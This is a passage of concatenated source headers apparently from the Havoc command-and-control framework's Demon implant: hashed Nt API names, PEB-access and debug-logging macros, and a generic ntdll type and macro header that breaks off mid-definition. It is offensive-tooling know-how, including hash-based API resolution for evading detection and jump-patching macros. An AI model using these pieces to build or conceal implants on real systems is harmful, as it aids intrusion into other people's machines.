H_COFFAPI_NTREADVIRTUALMEMORY 0xc24062e3 #define H_COFFAPI_NTTERMINATETHREAD 0xac3c9dc8 #define H_COFFAPI_NTALERTRESUMETHREAD 0x482e8408 #define H_COFFAPI_NTSIGNALANDWAITFORSINGLEOBJECT 0x7bdd15cd #define H_COFFAPI_NTQUERYVIRTUALMEMORY 0xe39d8e5d #define H_COFFAPI_NTQUERYINFORMATIONTOKEN 0x2ce5a244 #define H_COFFAPI_NTQUERYINFORMATIONTHREAD 0xc91f149b #define H_COFFAPI_NTQUERYOBJECT 0x218116f4 #define H_COFFAPI_NTCLOSE 0x8b8e133d #define H_COFFAPI_NTSETINFORMATIONTHREAD 0x54212e31 #define H_COFFAPI_NTSETINFORMATIONVIRTUALMEMORY 0xe7aea539 #define H_COFFAPI_NTGETNEXTTHREAD 0x8f8000fe #define H_MODULE_KERNEL32 0xadd31df0 #define H_MODULE_NTDLL 0x70e61753 #endif havoc-0.6~git20240910.69ce17c/payloads/Demon/include/common/Macros.h000066400000000000000000000070201467014221700244540ustar00rootroot00000000000000#ifndef DEMON_MACROS_H #define DEMON_MACROS_H #include #ifdef _WIN64 #define PPEB_PTR __readgsqword( 0x60 ) #else #define PPEB_PTR __readfsdword( 0x30 ) #endif #define NT_SUCCESS(Status) ( ( ( NTSTATUS ) ( Status ) ) >= 0 ) #define NtCurrentProcess() ( ( HANDLE ) ( LONG_PTR ) - 1 ) #define NtCurrentThread() ( ( HANDLE ) ( LONG_PTR ) - 2 ) #define NtGetLastError() Instance->Teb->LastErrorValue #define NtSetLastError(x) Instance->Teb->LastErrorValue = x /* Heap allocation functions */ #define NtProcessHeap() Instance->Teb->ProcessEnvironmentBlock->ProcessHeap #define DLLEXPORT __declspec( dllexport ) #define RVA( TYPE, DLLBASE, RVA ) ( TYPE ) ( ( PBYTE ) DLLBASE + RVA ) #define DATA_FREE( d, l ) \ if ( d ) { \ MemSet( d, 0, l ); \ Instance->Win32.LocalFree( d ); \ d = NULL; \ } #define SEC_DATA __attribute__( ( section( ".data" ) ) ) #define U_PTR( x ) ( ( UINT_PTR ) x ) #define C_PTR( x ) ( ( LPVOID ) x ) #define B_PTR( x ) ( ( PBYTE ) ( x ) ) #define DREF_U8( x ) ( ( BYTE ) *( PBYTE* )( x ) ) #define DREF_U16( x ) ( ( WORD ) *( PWORD* )( x ) ) #define HTONS32( x ) __builtin_bswap32( x ) #define HTONS16( x ) __builtin_bswap16( x ) #define IMAGE_SIZE( IM ) \ ( ( ( PIMAGE_NT_HEADERS ) ( IM + ( ( PIMAGE_DOS_HEADER ) IM )->e_lfanew ) )->OptionalHeader.SizeOfImage ) // DEBUG #ifdef DEBUG #if SEND_LOGS #define PRINTF( f, ... ) { DemonPrintf( "[DEBUG::%s::%d] " f, __FUNCTION__, __LINE__, __VA_ARGS__ ); } #define PRINTF_DONT_SEND( f, ... ) { ; } #elif SVC_EXE #define PRINTF( f, ... ) { DbgPrint( "[DEBUG::%s::%d] " f, __FUNCTION__, __LINE__, __VA_ARGS__ ); } #define PRINTF_DONT_SEND( f, ... ) { DbgPrint( "[DEBUG::%s::%d] " f, __FUNCTION__, __LINE__, __VA_ARGS__ ); } #elif SHELLCODE #define PRINTF( f, ... ) { LogToConsole( "[DEBUG::%s::%d] " f, __FUNCTION__, __LINE__, __VA_ARGS__ ); } #define PRINTF_DONT_SEND( f, ... ) { LogToConsole( "[DEBUG::%s::%d] " f, __FUNCTION__, __LINE__, __VA_ARGS__ ); } #else #define PRINTF( f, ... ) { printf( "[DEBUG::%s::%d] " f, __FUNCTION__, __LINE__, __VA_ARGS__ ); } #define PRINTF_DONT_SEND( f, ... ) { printf( "[DEBUG::%s::%d] " f, __FUNCTION__, __LINE__, __VA_ARGS__ ); } #endif #else #define PRINTF( f, ... ) { ; } #define PRINTF_DONT_SEND( f, ... ) { ; } #endif #ifdef DEBUG #if SEND_LOGS #define PUTS( s ) { DemonPrintf( "[DEBUG::%s::%d] %s\n", __FUNCTION__, __LINE__, s ); } #define PUTS_DONT_SEND( s ) { ; } #elif SHELLCODE #define PUTS( s ) { LogToConsole( "[DEBUG::%s::%d] %s\n", __FUNCTION__, __LINE__, s ); } #define PUTS_DONT_SEND( s ) { LogToConsole( "[DEBUG::%s::%d] %s\n", __FUNCTION__, __LINE__, s ); } #else #define PUTS( s ) { printf( "[DEBUG::%s::%d] %s\n", __FUNCTION__, __LINE__, s ); } #define PUTS_DONT_SEND( s ) { printf( "[DEBUG::%s::%d] %s\n", __FUNCTION__, __LINE__, s ); } #endif #else #define PUTS( s ) { ; } #define PUTS_DONT_SEND( s ) { ; } #endif #ifdef DEBUG #define PRINT_HEX( b, l ) \ printf( #b ": [%d] [ ", l ); \ for ( int i = 0 ; i < l; i++ ) \ { \ printf( "%02x ", ( ( PUCHAR ) b ) [ i ] ); \ } \ puts( "]" ); #else #define PRINT_HEX( b, l ) {} #endif #endif havoc-0.6~git20240910.69ce17c/payloads/Demon/include/common/Native.h000066400000000000000000020342751467014221700244740ustar00rootroot00000000000000/* ntdll.h User Mode, 32bit & 64bit version Visual Studio 6.0 - Visual Studio 2010 and MingW compatible Intel C++ Compiler (ICL) 11.x - 12.x preferred (c) 2019 - Rokas Kupstys (c) 2009, 2010, 2011 - Fyyre (c) 2011 - 2012 EP_X0FF (c) 2011 - rndbit version 1.26 ( increment this if changes has global effect ) please mark your changes date begin / date end comments last change 04/01/2012 note: Please use _M_X86/_M_X64 for if(n)def/endif conditionals, instead of WIN32/WIN64. */ #if !defined(_NTDLL_) #define _NTDLL_ #pragma warning( disable:4001 ) // level 4 error - nonstandard extension 'single line comment' was used #pragma warning( disable:4201 ) // level 4 error - nonstandard extension used : nameless struct/union - ANSI C violation #pragma warning( disable:4214 ) // level 4 error - nonstandard extension used : bit field types other than int - ANSI C violation #if defined(__ICL) #pragma warning ( disable : 344 ) #endif #pragma pack( push, 8 ) #if defined(__cplusplus) extern "C" { #endif #include #include #if !defined(NTSTATUS) typedef LONG NTSTATUS; typedef NTSTATUS *PNTSTATUS; #endif #if !defined(SECURITY_STATUS) typedef LONG SECURITY_STATUS; #endif #define EXPORT_FN __declspec(dllexport) #define IMPORT_FN __declspec(dllimport) #define PAGE_SIZE 0x1000 #define EXTERNAL extern "C" #ifndef UNREFERENCED_PARAMETER #define UNREFERENCED_PARAMETER(P) (P) #endif #include "ntstatus.h" #define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0) #define NT_INFORMATION(Status) ((ULONG)(Status) >> 30 == 1) #define NT_WARNING(Status) ((ULONG)(Status) >> 30 == 2) #define NT_ERROR(Status) ((ULONG)(Status) >> 30 == 3) #define ABSOLUTE_TIME(wait) (wait) #define RELATIVE_TIME(wait) (-(wait)) #define NANOSECONDS(nanos) \ (((signed __int64)(nanos)) / 100L) #define MICROSECONDS(micros) \ (((signed __int64)(micros)) * NANOSECONDS(1000L)) #define MILLISECONDS(milli) \ (((signed __int64)(milli)) * MICROSECONDS(1000L)) #define SECONDS(seconds) \ (((signed __int64)(seconds)) * MILLISECONDS(1000L)) #define ARGUMENT_PRESENT(ArgumentPointer) (\ (CHAR *)((ULONG_PTR)(ArgumentPointer)) != (CHAR *)(NULL) ) #define RESTORE_LIST(ListEntry) \ ListEntry.Flink = ListEntry.Flink; \ ListEntry.Blink = ListEntry.Blink #define UNLINK(x) (x).Blink->Flink = (x).Flink; \ (x).Flink->Blink = (x).Blink; #define ALIGN_TO_POWER2( x, n ) (((ULONG)(x) + ((n)-1)) & ~((ULONG)(n)-1)) #define POI(addr) *(ULONG *)(addr) #define IS_PATH_SEPARATOR(ch) ((ch == '\\') || (ch == '/')) #define IS_DOT(s) ( s[0] == '.' && ( IS_PATH_SEPARATOR(s[1]) || s[1] == '\0') ) #define IS_DOT_DOT(s) ( s[0] == '.' && s[1] == '.' && ( IS_PATH_SEPARATOR(s[2]) || s[2] == '\0') ) #define IS_PATH_SEPARATOR_U(ch) ((ch == (WCHAR)'\\') || (ch == (WCHAR)'/')) #define IS_DOT_U(s) ( s[0] == (WCHAR)'.' && ( IS_PATH_SEPARATOR_U(s[1]) || s[1] == UNICODE_NULL) ) #define IS_DOT_DOT_U(s) ( s[0] == (WCHAR)'.' && s[1] == (WCHAR)'.' && ( IS_PATH_SEPARATOR_U(s[2]) || s[2] == UNICODE_NULL) ) #define jmp_length(y,x) ((x-y)-5) #define stc_jc(y,x) ((x-y)-7) #define MODIFYBYTE( _base, _offset, _byte ) { ((unsigned char *)_base)[_offset] = (unsigned char)_byte; } #define MODIFYWORD( _base, _offset, _word ) { ((unsigned short *)_base)[_offset] = (unsigned short)_word; } #define MODIFYDWORD( _base, _offset, _dword ) { ((unsigned long *)_base)[_offset] = (unsigned long)_dword; } #define MODIFYQWORD( _base, _offset, _qword ) { ((unsigned long long *)_base)[_offset] = (unsigned long long)_qword; } #define PTR_ADD_OFFSET(Pointer, Offset) ((PVOID)((ULONG_PTR)(Pointer) + (ULONG_PTR)(Offset))) #define WRITE_JMP( from, to ) { ((PCHAR)from)[0] = (CHAR)0xE9; *((ULONG_PTR *)&(((PCHAR)(from))[1])) = (PCHAR)(to) - (PCHAR)(from) - 5; } #define GET_JMP( from ) (((PCHAR)from)[0]==(CHAR)0xE9)? (*((ULONG_PTR *)&(((PCHAR)(from))[1])) + 5 + (ULONG_PTR)(from)) : 0 #define ASSERT( exp ) ((void) 0) // // The following macros store and retrieve USHORTS and ULONGS from potentially unaligned addresses, avoiding alignment faults. // // 31.05.2011 - added the following macros #define SHORT_SIZE (sizeof(USHORT)) #define SHORT_MASK (SHORT_SIZE - 1) #define LONG_SIZE (sizeof(LONG)) #define LONG_MASK (LONG_SIZE - 1) #define LOWBYTE_MASK 0x00FF #define FIRSTBYTE(VALUE) (VALUE & LOWBYTE_MASK) #define SECONDBYTE(VALUE) ((VALUE >> 8) & LOWBYTE_MASK) #define THIRDBYTE(VALUE) ((VALUE >> 16) & LOWBYTE_MASK) #define FOURTHBYTE(VALUE) ((VALUE >> 24) & LOWBYTE_MASK) // // if MIPS Big Endian, order of bytes is reversed. // #define SHORT_LEAST_SIGNIFICANT_BIT 0 #define SHORT_MOST_SIGNIFICANT_BIT 1 #define LONG_LEAST_SIGNIFICANT_BIT 0 #define LONG_3RD_MOST_SIGNIFICANT_BIT 1 #define LONG_2ND_MOST_SIGNIFICANT_BIT 2 #define LONG_MOST_SIGNIFICANT_BIT 3 //++ // // VOID // RtlStoreUshort ( // PUSHORT ADDRESS // USHORT VALUE // ) // // Routine Description: // // This macro stores a USHORT value in at a particular address, avoiding // alignment faults. // // Arguments: // // ADDRESS - where to store USHORT value // VALUE - USHORT to store // // Return Value: // // none. // //-- #define RtlStoreUshort(ADDRESS,VALUE) \ if ((ULONG_PTR)ADDRESS & SHORT_MASK) { \ ((PUCHAR) ADDRESS)[SHORT_LEAST_SIGNIFICANT_BIT] = (UCHAR)(FIRSTBYTE(VALUE)); \ ((PUCHAR) ADDRESS)[SHORT_MOST_SIGNIFICANT_BIT ] = (UCHAR)(SECONDBYTE(VALUE)); \ } \ else { \ *((PUSHORT) ADDRESS) = (USHORT) VALUE; \ } //++ // // VOID // RtlStoreUlong ( // PULONG ADDRESS // ULONG VALUE // ) // // Routine Description: // // This macro stores a ULONG value in at a particular address, avoiding // alignment faults. // // Arguments: // // ADDRESS - where to store ULONG value // VALUE - ULONG to store // // Return Value: // // none. // // Note: // Depending on the machine, we might want to call storeushort in the // unaligned case. // //-- #define RtlStoreUlong(ADDRESS,VALUE) \ if ((ULONG_PTR)ADDRESS & LONG_MASK) { \ ((PUCHAR) ADDRESS)[LONG_LEAST_SIGNIFICANT_BIT ] = (UCHAR)(FIRSTBYTE(VALUE)); \ ((PUCHAR) ADDRESS)[LONG_3RD_MOST_SIGNIFICANT_BIT ] = (UCHAR)(SECONDBYTE(VALUE)); \ ((PUCHAR) ADDRESS)[LONG_2ND_MOST_SIGNIFICANT_BIT ] = (UCHAR)(THIRDBYTE(VALUE)); \ ((PUCHAR) ADDRESS)[LONG_MOST_SIGNIFICANT_BIT ] = (UCHAR)(FOURTHBYTE(VALUE)); \ } \ else { \ *((PULONG) ADDRESS) = (ULONG) VALUE; \ } //++ // // VOID // RtlRetrieveUshort ( // PUSHORT DESTINATION_ADDRESS // PUSHORT SOURCE_ADDRESS // ) // // Routine Description: // // This macro retrieves a USHORT value from the SOURCE address, avoiding // alignment faults. The DESTINATION address is assumed to be aligned. // // Arguments: // // DESTINATION_ADDRESS - where to store USHORT value // SOURCE_ADDRESS - where to retrieve USHORT value from // // Return Value: // // none. // //-- #define RtlRetrieveUshort(DEST_ADDRESS,SRC_ADDRESS) \ if ((ULONG_PTR)SRC_ADDRESS & SHORT_MASK) { \ ((PUCHAR) DEST_ADDRESS)[0] = ((PUCHAR) SRC_ADDRESS)[0]; \ ((PUCHAR) DEST_ADDRESS)[1] = ((PUCHAR) SRC_ADDRESS)[1]; \ } \ else { \ *((PUSHORT) DEST_ADDRESS) = *((PUSHORT) SRC_ADDRESS); \ } \ //++ // // VOID // RtlRetrieveUlong ( // PULONG DESTINATION_ADDRESS // PULONG SOURCE_ADDRESS // ) // // Routine Description: // // This macro retrieves a ULONG value from the SOURCE address, avoiding // alignment faults. The DESTINATION address is assumed to be aligned. // // Arguments: // // DESTINATION_ADDRESS - where to store ULONG value // SOURCE_ADDRESS - where to retrieve ULONG value from // // Return Value: // // none. // // Note: // Depending on the machine, we might want to call retrieveushort in the // unaligned case. // //-- #define RtlRetrieveUlong(DEST_ADDRESS,SRC_ADDRESS) \ if ((ULONG_PTR)SRC_ADDRESS & LONG_MASK) { \ ((PUCHAR) DEST_ADDRESS)[0] = ((PUCHAR) SRC_ADDRESS)[0]; \ ((PUCHAR) DEST_ADDRESS)[1] = ((PUCHAR) SRC_ADDRESS)[1]; \ ((PUCHAR) DEST_ADDRESS)[2] = ((PUCHAR) SRC_ADDRESS)[2]; \ ((PUCHAR) DEST_ADDRESS)[3] = ((PUCHAR) SRC_ADDRESS)[3]; \ } \ else { \ *((PULONG) DEST_ADDRESS) = *((PULONG) SRC_ADDRESS); \ } //++ // // PCHAR // RtlOffsetToPointer ( // PVOID Base, // ULONG Offset // ) // // Routine Description: // // This macro generates a pointer which points to the byte that is 'Offset' // bytes beyond 'Base'. This is useful for referencing fields within // self-relative data structures. // // Arguments: // // Base - The address of the base of the structure. // // Offset - An unsigned integer offset of the byte whose address is to // be generated. // // Return Value: // // A PCHAR pointer to the byte that is 'Offset' bytes beyond 'Base'. // // //-- #define RtlOffsetToPointer(B,O) ((PCHAR)( ((PCHAR)(B)) + ((ULONG_PTR)(O)) )) //++ // // ULONG // RtlPointerToOffset ( // PVOID Base, // PVOID Pointer // ) // // Routine Description: // // This macro calculates the offset from Base to Pointer. This is useful // for producing self-relative offsets for structures. // // Arguments: // // Base - The address of the base of the structure. // // Pointer - A pointer to a field, presumably within the structure // pointed to by Base. This value must be larger than that specified // for Base. // // Return Value: // // A ULONG offset from Base to Pointer. // // //-- #define RtlPointerToOffset(B,P) ((ULONG)( ((PCHAR)(P)) - ((PCHAR)(B)) )) // 31.05.2011 - end // // Data Types -- DOT NOT modify -- modification will break 32bit & 64bit compatibly. // typedef char CCHAR; typedef short CSHORT; typedef CCHAR *PCCHAR; typedef CSHORT *PCSHORT; typedef ULONG CLONG; typedef ULONG *PCLONG; typedef ULONG LOGICAL; typedef ULONG *PLOGICAL; typedef LONG KPRIORITY; typedef struct _STRING { USHORT Length; USHORT MaximumLength; PCHAR Buffer; } STRING; typedef STRING *PSTRING; typedef STRING ANSI_STRING; typedef PSTRING PANSI_STRING; typedef STRING OEM_STRING; typedef PSTRING POEM_STRING; typedef CONST STRING* PCOEM_STRING; typedef struct _CSTRING { USHORT Length; USHORT MaximumLength; CONST char *Buffer; } CSTRING; typedef CSTRING *PCSTRING; #define ANSI_NULL ((CHAR)0) typedef STRING CANSI_STRING; typedef PSTRING PCANSI_STRING; typedef struct _UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } UNICODE_STRING, *PUNICODE_STRING, **PPUNICODE_STRING; typedef const UNICODE_STRING *PCUNICODE_STRING; typedef struct _STRING32 { USHORT Length; USHORT MaximumLength; ULONG Buffer; } STRING32; typedef STRING32 *PSTRING32; typedef STRING32 UNICODE_STRING32; typedef UNICODE_STRING32 *PUNICODE_STRING32; #define UNICODE_NULL ((WCHAR)0) typedef STRING32 ANSI_STRING32; typedef ANSI_STRING32 *PANSI_STRING32; typedef struct _STRING64 { USHORT Length; USHORT MaximumLength; ULONG_PTR Buffer; } STRING64; typedef STRING64 *PSTRING64; typedef STRING64 UNICODE_STRING64; typedef UNICODE_STRING64 *PUNICODE_STRING64; typedef STRING64 ANSI_STRING64; typedef ANSI_STRING64 *PANSI_STRING64; typedef USHORT RTL_ATOM; typedef RTL_ATOM *PRTL_ATOM; typedef UCHAR KIRQL; typedef KIRQL *PKIRQL; typedef CONST char *PCSZ; typedef LARGE_INTEGER PHYSICAL_ADDRESS, *PPHYSICAL_ADDRESS; #if !defined( _WINNT_ ) typedef struct _LIST_ENTRY { struct _LIST_ENTRY *Flink; struct _LIST_ENTRY *Blink; } LIST_ENTRY, *PLIST_ENTRY, *RESTRICTED_POINTER PRLIST_ENTRY; #define FIELD_OFFSET(type, field) ((LONG)&(((type *)0)->field)) #define CONTAINING_RECORD(address, type, field) ((type FAR *)( \ (PCHAR)(address) - \ (PCHAR)(&((type *)0)->field))) #endif typedef struct _TRIPLE_LIST_ENTRY { struct _TRIPLE_LIST_ENTRY* Flink[ 3 ]; struct _TRIPLE_LIST_ENTRY* Blink; } TRIPLE_LIST_ENTRY, *PTRIPLE_LIST_ENTRY; #define IN_REGION(x, Base, Size) (((ULONG)x >= (ULONG_PTR)Base) && ((ULONG)x <= (ULONG_PTR)Base + (ULONG)Size)) #ifndef RVATOVA #define RVATOVA(base, offset) ((PVOID)((ULONG)base + (ULONG)(offset))) #endif #ifndef NOP_FUNCTION #define NOP_FUNCTION (void)0 #endif #define PAGED_CODE() NOP_FUNCTION; #if defined(USE_LPC6432) #define LPC_CLIENT_ID CLIENT_ID64 #define LPC_SIZE_T ULONGLONG #define LPC_PVOID ULONGLONG #define LPC_HANDLE ULONGLONG #else #define LPC_CLIENT_ID CLIENT_ID #define LPC_SIZE_T SIZE_T #define LPC_PVOID PVOID #define LPC_HANDLE HANDLE #endif #define OBJ_INHERIT 0x00000002L #define OBJ_HANDLE_TAGBITS 0x00000003L #define OBJ_PERMANENT 0x00000010L #define OBJ_EXCLUSIVE 0x00000020L #define OBJ_CASE_INSENSITIVE 0x00000040L #define OBJ_OPENIF 0x00000080L #define OBJ_OPENLINK 0x00000100L #define OBJ_KERNEL_HANDLE 0x00000200L #define OBJ_FORCE_ACCESS_CHECK 0x00000400L #define OBJ_VALID_ATTRIBUTES 0x000007F2L #define RTL_QUERY_PROCESS_MODULES 0x00000001 #define RTL_QUERY_PROCESS_BACKTRACES 0x00000002 #define RTL_QUERY_PROCESS_HEAP_SUMMARY 0x00000004 #define RTL_QUERY_PROCESS_HEAP_TAGS 0x00000008 #define RTL_QUERY_PROCESS_HEAP_ENTRIES 0x00000010 #define RTL_QUERY_PROCESS_LOCKS 0x00000020 #define RTL_QUERY_PROCESS_MODULES32 0x00000040 #define RTL_QUERY_PROCESS_NONINVASIVE 0x80000000 typedef struct _OBJECT_ATTRIBUTES { ULONG Length; HANDLE RootDirectory; PUNICODE_STRING ObjectName; ULONG Attributes; PVOID SecurityDescriptor; // SECURITY_DESCRIPTOR PVOID SecurityQualityOfService; // SECURITY_QUALITY_OF_SERVICE } OBJECT_ATTRIBUTES; typedef OBJECT_ATTRIBUTES *POBJECT_ATTRIBUTES; typedef CONST OBJECT_ATTRIBUTES *PCOBJECT_ATTRIBUTES; #define InitializeObjectAttributes( p, n, a, r, s ) { \ (p)->Length = sizeof( OBJECT_ATTRIBUTES ); \ (p)->RootDirectory = r; \ (p)->Attributes = a; \ (p)->ObjectName = n; \ (p)->SecurityDescriptor = s; \ (p)->SecurityQualityOfService = NULL; \ } //added 20.12.11 typedef struct _OBJECT_DIRECTORY_INFORMATION { UNICODE_STRING Name; UNICODE_STRING TypeName; } OBJECT_DIRECTORY_INFORMATION, *POBJECT_DIRECTORY_INFORMATION; #if defined(_WINNT_) && (_MSC_VER < 1300) && !defined(___PROCESSOR_NUMBER_DEFINED) #define ___PROCESSOR_NUMBER_DEFINED typedef struct _PROCESSOR_NUMBER { WORD Group; BYTE Number; BYTE Reserved; } PROCESSOR_NUMBER, *PPROCESSOR_NUMBER; #endif #if _WIN32_WINNT >= 0x0501 #define ANSI_NULL ((CHAR)0) #define UNICODE_NULL ((WCHAR)0) #ifndef UNICODE_STRING_MAX_BYTES #define UNICODE_STRING_MAX_BYTES ((USHORT) 65534) #endif #define UNICODE_STRING_MAX_CHARS (32767) #define DECLARE_CONST_UNICODE_STRING(_variablename, _string) \ const WCHAR _variablename ## _buffer[] = _string; \ const UNICODE_STRING _variablename = { sizeof(_string) - sizeof(WCHAR), sizeof(_string), (PWSTR) _variablename ## _buffer }; #endif // _WIN32_WINNT >= 0x0501 #define IsListEmpty(ListHead) \ ((ListHead)->Flink == (ListHead)) #define InitializeListHead(ListHead) (\ (ListHead)->Flink = (ListHead)->Blink = (ListHead)) #define IsListEmpty(ListHead) \ ((ListHead)->Flink == (ListHead)) #define RemoveHeadList(ListHead) \ (ListHead)->Flink;\ {RemoveEntryList((ListHead)->Flink)} #define RemoveTailList(ListHead) \ (ListHead)->Blink;\ {RemoveEntryList((ListHead)->Blink)} // VOID // RemoveEntryList( // IN PLIST_ENTRY Entry // ); #define RemoveEntryList(Entry) {\ PLIST_ENTRY _EX_Blink;\ PLIST_ENTRY _EX_Flink;\ _EX_Flink = (Entry)->Flink;\ _EX_Blink = (Entry)->Blink;\ _EX_Blink->Flink = _EX_Flink;\ _EX_Flink->Blink = _EX_Blink;\ } // VOID // InsertTailList( // IN PLIST_ENTRY ListHead, // IN PLIST_ENTRY Entry // ); #define InsertTailList(ListHead,Entry) {\ PLIST_ENTRY _EX_Blink;\ PLIST_ENTRY _EX_ListHead;\ _EX_ListHead = (ListHead);\ _EX_Blink = _EX_ListHead->Blink;\ (Entry)->Flink = _EX_ListHead;\ (Entry)->Blink = _EX_Blink;\ _EX_Blink->Flink = (Entry);\ _EX_ListHead->Blink = (Entry);\ } // VOID // InsertHeadList( // IN PLIST_ENTRY ListHead, // IN PLIST_ENTRY Entry // ); #define InsertHeadList(ListHead,Entry) {\ PLIST_ENTRY _EX_Flink;\ PLIST_ENTRY _EX_ListHead;\ _EX_ListHead = (ListHead);\ _EX_Flink = _EX_ListHead->Flink;\ (Entry)->Flink = _EX_Flink;\ (Entry)->Blink = _EX_ListHead;\ _EX_Flink->Blink = (Entry);\ _EX_ListHead->Flink = (Entry);\ } // BOOL // COUNT_IS_ALIGNED( // IN DWORD Count, // IN DWORD Pow2 // undefined if this isn't a power of 2. // ); // #define COUNT_IS_ALIGNED(Count,Pow2) \ ( ( ( (Count) & (((Pow2)-1)) ) == 0) ? TRUE : FALSE ) // BOOL // POINTER_IS_ALIGNED( // IN LPVOID Ptr, // IN DWORD Pow2 // undefined if this isn't a power of 2. // ); // #define POINTER_IS_ALIGNED(Ptr,Pow2) \ ( ( ( ((DWORD)(Ptr)) & (((Pow2)-1)) ) == 0) ? TRUE : FALSE ) #define ROUND_DOWN_COUNT(Count,Pow2) \ ( (Count) & (~((Pow2)-1)) ) #define ROUND_DOWN_POINTER(Ptr,Pow2) \ ( (LPVOID) ROUND_DOWN_COUNT( ((DWORD)(Ptr)), (Pow2) ) ) // If Count is not already aligned, then // round Count up to an even multiple of "Pow2". "Pow2" must be a power of 2. // // DWORD // ROUND_UP_COUNT( // IN DWORD Count, // IN DWORD Pow2 // ); #define ROUND_UP_COUNT(Count,Pow2) \ ( ((Count)+(Pow2)-1) & (~((Pow2)-1)) ) // LPVOID // ROUND_UP_POINTER( // IN LPVOID Ptr, // IN DWORD Pow2 // ); // If Ptr is not already aligned, then round it up until it is. #define ROUND_UP_POINTER(Ptr,Pow2) \ ( (LPVOID) ( (((DWORD)(Ptr))+(Pow2)-1) & (~((Pow2)-1)) ) ) #define ALIGN_BYTE 1 #define ALIGN_CHAR 1 #define ALIGN_DESC_CHAR sizeof(DESC_CHAR) #define ALIGN_DWORD 4 #define ALIGN_LONG 4 #define ALIGN_LPBYTE 4 #define ALIGN_LPDWORD 4 #define ALIGN_LPSTR 4 #define ALIGN_LPTSTR 4 #define ALIGN_LPVOID 4 #define ALIGN_LPWORD 4 #define ALIGN_TCHAR sizeof(TCHAR) #define ALIGN_WCHAR sizeof(WCHAR) #define ALIGN_WORD 2 #define ALIGN_QUAD 8 #define ALIGN_WORST 8 //03.06.2011 - added #define QUAD_ALIGN(VALUE) ( ((ULONG)(VALUE) + 7) & ~7 ) //03.06.2011 - end // Usage: myPtr = ROUND_UP_POINTER(unalignedPtr, ALIGN_DWORD); // 31.05.2011 - added #define EXPORT_VA(x) ((x)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress) #define IMPORT_VA(x) ((x)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress) #define RELOC_VA(x) ((x)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress) #define RESOURCE_VA(x) ((x)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE].VirtualAddress) #define EXPORT_SIZE(x) ((x)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size) #define IMPORT_SIZE(x) ((x)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size) #define RELOC_SIZE(x) ((x)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size) #define RESOURCE_SIZE(x) ((x)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE].Size) #define DEBUGDIR_VA(x) ((x)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_DEBUG].VirtualAddress) #define DEBUGDIR_SIZE(x) ((x)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_DEBUG].Size) // 31.05.2011 - end #define IS_VALID_HANDLE(hHandle) ((HANDLE)hHandle != (HANDLE)0 && (HANDLE)hHandle != (HANDLE)0xFFFFFFFF) #define SIZEOF_ARRAY(arr) ( sizeof(arr) / sizeof(arr[0]) ) // 09.06.2011 - begin //21.12.2011 added #if !defined(_FILESYSTEMFSCTL_) #define _FILESYSTEMFSCTL_ #define FSCTL_REQUEST_OPLOCK_LEVEL_1 CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 0, METHOD_BUFFERED, FILE_ANY_ACCESS) #define FSCTL_REQUEST_OPLOCK_LEVEL_2 CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 1, METHOD_BUFFERED, FILE_ANY_ACCESS) #define FSCTL_REQUEST_BATCH_OPLOCK CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 2, METHOD_BUFFERED, FILE_ANY_ACCESS) #define FSCTL_OPLOCK_BREAK_ACKNOWLEDGE CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 3, METHOD_BUFFERED, FILE_ANY_ACCESS) #define FSCTL_OPBATCH_ACK_CLOSE_PENDING CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 4, METHOD_BUFFERED, FILE_ANY_ACCESS) #define FSCTL_OPLOCK_BREAK_NOTIFY CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 5, METHOD_BUFFERED, FILE_ANY_ACCESS) #define FSCTL_LOCK_VOLUME CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 6, METHOD_BUFFERED, FILE_ANY_ACCESS) #define FSCTL_UNLOCK_VOLUME CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 7, METHOD_BUFFERED, FILE_ANY_ACCESS) #define FSCTL_DISMOUNT_VOLUME CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 8, METHOD_BUFFERED, FILE_ANY_ACCESS) // decommissioned fsctl value 9 #define FSCTL_IS_VOLUME_MOUNTED CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 10, METHOD_BUFFERED, FILE_ANY_ACCESS) #define FSCTL_IS_PATHNAME_VALID CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 11, METHOD_BUFFERED, FILE_ANY_ACCESS) // PATHNAME_BUFFER, #define FSCTL_MARK_VOLUME_DIRTY CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 12, METHOD_BUFFERED, FILE_ANY_ACCESS) // decommissioned fsctl value 13 #define FSCTL_QUERY_RETRIEVAL_POINTERS CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 14, METHOD_NEITHER, FILE_ANY_ACCESS) #define FSCTL_GET_COMPRESSION CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 15, METHOD_BUFFERED, FILE_ANY_ACCESS) #define FSCTL_SET_COMPRESSION CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 16, METHOD_BUFFERED, FILE_READ_DATA | FILE_WRITE_DATA) // decommissioned fsctl value 17 // decommissioned fsctl value 18 #define FSCTL_SET_BOOTLOADER_ACCESSED CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 19, METHOD_NEITHER, FILE_ANY_ACCESS) #define FSCTL_OPLOCK_BREAK_ACK_NO_2 CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 20, METHOD_BUFFERED, FILE_ANY_ACCESS) #define FSCTL_INVALIDATE_VOLUMES 